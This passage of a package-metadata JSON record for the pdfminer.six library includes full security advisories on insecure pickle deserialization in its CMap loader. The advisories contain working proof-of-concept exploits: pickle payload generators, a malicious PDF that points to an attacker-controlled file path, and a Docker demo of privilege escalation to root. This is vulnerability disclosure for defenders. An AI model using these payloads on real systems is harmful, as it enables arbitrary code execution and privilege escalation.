https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2024-09-07T10:38:53.818Z","dependent_packages_count":162,"downloads":46167082,"downloads_period":"last-month","dependent_repos_count":2496,"rankings":{"downloads":0.19787525770145103,"dependent_repos_count":0.21710683432577474,"dependent_packages_count":0.21999530413610902,"stargazers_count":0.4326425126014777,"forks_count":1.455162413565207,"docker_downloads_count":0.2938837057373442,"average":0.46944433801122726},"purl":"pkg:pypi/pdfminer.six","advisories":[{"uuid":"GSA_kwCzR0hTQS04eDJyLXY5eDUtM3FnaM4ABR4O","url":"https://github.com/advisories/GHSA-8x2r-v9x5-3qgh","title":"Duplicate Advisory: Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f83h-ghpp-7wcc. This link is maintained to preserve external references.\n\n## Original Description\npdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-03T18:30:47.000Z","withdrawn_at":"2026-02-04T16:49:45.000Z","classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc","https://nvd.nist.gov/vuln/detail/CVE-2025-70559","https://github.com/advisories/GHSA-f83h-ghpp-7wcc","https://github.com/advisories/GHSA-8x2r-v9x5-3qgh"],"source_kind":"github","identifiers":["GHSA-8x2r-v9x5-3qgh"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-04T17:00:07.904Z","updated_at":"2026-04-05T20:01:19.134Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDJyLXY5eDUtM3FnaM4ABR4O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04eDJyLXY5eDUtM3FnaM4ABR4O","packages":[{"ecosystem":"pypi","package_name":"pdfminer.six","versions":[{"first_patched_version":"20251230","vulnerable_version_range":"\u003c 20251230"}],"purl":"pkg:pypi/pdfminer.six"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDJyLXY5eDUtM3FnaM4ABR4O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mODNoLWdocHAtN3djY84ABOU_","url":"https://github.com/advisories/GHSA-f83h-ghpp-7wcc","title":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards \u0026 References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n\u003e 🐍 **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨‍💻 Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the container, open two shells in parallel (or switch users in one):\n\n#### 🕵️‍♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🛡️ Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-07T23:17:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc","https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086","https://nvd.nist.gov/vuln/detail/CVE-2025-70559","https://github.com/advisories/GHSA-f83h-ghpp-7wcc"],"source_kind":"github","identifiers":["GHSA-f83h-ghpp-7wcc","CVE-2025-70559"],"repository_url":"https://github.com/pdfminer/pdfminer.six","blast_radius":0.0,"created_at":"2025-11-08T00:01:46.276Z","updated_at":"2026-05-28T12:03:00.177Z","epss_percentage":0.00075,"epss_percentile":0.22557,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODNoLWdocHAtN3djY84ABOU_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mODNoLWdocHAtN3djY84ABOU_","packages":[{"ecosystem":"pypi","package_name":"pdfminer.six","versions":[{"first_patched_version":"20251230","vulnerable_version_range":"\u003c 20251230"}],"purl":"pkg:pypi/pdfminer.six","statistics":{"dependent_packages_count":162,"dependent_repos_count":2496,"downloads":46167082,"downloads_period":"last-month"},"affected_versions":[],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODNoLWdocHAtN3djY84ABOU_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ZjVmLTRqd3ItcHBjcM4ABOUn","url":"https://github.com/advisories/GHSA-wf5f-4jwr-ppcp","title":"Arbitrary Code Execution in pdfminer.six via Crafted PDF Input","description":"### Summary\n\npdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.\n\n### Details\n\n```python\n# Vulnerable code in pdfminer/cmapdb.py:233-246\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")  # Insufficient sanitization\n    filename = \"%s.pickle.gz\" % name\n    # ... path construction ...\n    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored\n    # ...\n    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization\n```\n\nAn attacker can:\n1. Create a malicious PDF with a CMap reference like `/malicious`\n2. Place a malicious pickle file at `/malicious.pickle.gz`\n3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle\n4. The pickle deserialization can execute arbitrary Python code\n\n### POC\n\n#### Malicious PDF\n\nCreate a PDF with a malicious CMAP entry:\n\n```\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n```\n\nHere the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.\n\n#### Malicious Pickle\n\nCreate a malicious, zipped pickle to execute. For example, with this Python script:\n\n```python\n#!/usr/bin/env python3\nimport pickle\nimport gzip\n\ndef create_demo_pickle():\n    print(\"Creating demonstration pickle file...\")\n\n    # Create payload that executes code AND returns a dict (as pdfminer expects)\n    class EvilPayload:\n        def __reduce__(self):\n            # This function will be called during unpickling\n            code = \"print('Malicious code executed.') or exit(0) or {}\"\n            return (eval, (code,))\n\n    demo_cmap_data = EvilPayload()\n\n    # Create the pickle file that the path traversal would access\n    target_path = \"./malicious.pickle.gz\"\n\n    try:\n        with gzip.open(target_path, 'wb') as f:\n            pickle.dump(demo_cmap_data, f)\n        print(f\"✓ Created demonstration pickle file: {target_path}\")\n        return target_path\n\n    except Exception as e:\n        print(f\"✗ Error creating pickle file: {e}\")\n        return None\n\nif __name__ == \"__main__\":\n    create_demo_pickle()\n```\n\nThis will create a harmless, zipped pickle file that will display \"Malicious code eecuted.\" then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.\n\n#### Test\n\nInstall pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output:\n\n```\n$ pdf2txt.py malicious.pdf\nMalicious code executed!\n```\n\n### Impact\n\nIf pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.\n\nThe difficulty in achieving this depends on the OS, see below.\n\n#### Linux, MacOS - harder to exploit\n\nOn Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:\n\n* An attacker may find a way to write files to a known location on the target system or\n* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.\n\nOverall, there is generally less risk on a Linux or Linux-like system.\n\n#### Windows - easier to exploit\n\nWindows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.\n\n### Appendix\n\nA complete, malicious PDF is provided here. A dockerized POC is available upon request.\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c\n/Type /Catalog\n/Pages 2 0 R\n\u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c\n/Type /Pages\n/Kids [3 0 R]\n/Count 1\n\u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c\n/Type /Page\n/Parent 2 0 R\n/MediaBox [0 0 612 792]\n/Contents 4 0 R\n/Resources\n\u003c\u003c\n/Font\n\u003c\u003c\n/F1 5 0 R\n\u003e\u003e\n\u003e\u003e\n\u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c\n/Length 44\n\u003e\u003e\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\nendstream\nendobj\n\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n\n6 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /CIDFontType2\n/BaseFont /MaliciousFont\n/CIDSystemInfo\n\u003c\u003c\n/Registry (Adobe)\n/Ordering (Identity)\n/Supplement 0\n\u003e\u003e\n/FontDescriptor 7 0 R\n\u003e\u003e\nendobj\n\n7 0 obj\n\u003c\u003c\n/Type /FontDescriptor\n/FontName /MaliciousFont\n/Flags 4\n/FontBBox [-1000 -1000 1000 1000]\n/ItalicAngle 0\n/Ascent 1000\n/Descent -200\n/CapHeight 800\n/StemV 80\n\u003e\u003e\nendobj\n\nxref\n0 8\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n0000000274 00000 n\n0000000370 00000 n\n0000000503 00000 n\n0000000673 00000 n\ntrailer\n\u003c\u003c\n/Size 8\n/Root 1 0 R\n\u003e\u003e\nstartxref\n871\n%%EOF\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-07T20:52:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp","https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086","https://nvd.nist.gov/vuln/detail/CVE-2025-64512","https://github.com/pdfminer/pdfminer.six/releases/tag/20251107","https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html","https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html","https://github.com/advisories/GHSA-wf5f-4jwr-ppcp"],"source_kind":"github","identifiers":["GHSA-wf5f-4jwr-ppcp","CVE-2025-64512"],"repository_url":"https://github.com/pdfminer/pdfminer.six","blast_radius":0.0,"created_at":"2025-11-07T21:00:07.294Z","updated_at":"2026-05-14T12:02:26.448Z","epss_percentage":0.00143,"epss_percentile":0.342,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVmLTRqd3ItcHBjcM4ABOUn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZjVmLTRqd3ItcHBjcM4ABOUn","packages":[{"ecosystem":"pypi","package_name":"pdfminer.six","versions":[{"first_patched_version":"20251107","vulnerable_version_range":"\u003c 20251107"}],"purl":"pkg:pypi/pdfminer.six"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVmLTRqd3ItcHBjcM4ABOUn/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pdfminer.six","docker_dependents_count":222,"docker_downloads_count":985186589,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pdfminer.six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pdfminer.six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2024-09-05T07:05:33.760Z","issues_count":270,"pull_requests_count":84,"avg_time_to_close_issue":15688415.794520548,"avg_time_to_close_pull_request":10218934.67142857,"issues_closed_count":73,"pull_requests_closed_count":70,"pull_request_authors_count":37,"issue_authors_count":145,"avg_comments_per_issue":1.537037037037037,"avg_comments_per_pull_request":1.4642857142857142,"merged_pull_requests_count":54,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":148,"past_year_pull_requests_count":51,"past_year_avg_time_to_close_issue":1628902.3235294118,"past_year_avg_time_to_close_pull_request":2827606.564102564,"past_year_issues_closed_count":34,"past_year_pull_requests_closed_count":39,"past_year_pull_request_authors_count":15,"past_year_issue_authors_count":46,"past_year_avg_comments_per_issue":0.4864864864864865,"past_year_avg_comments_per_pull_request":1.1176470588235294,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":33,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"h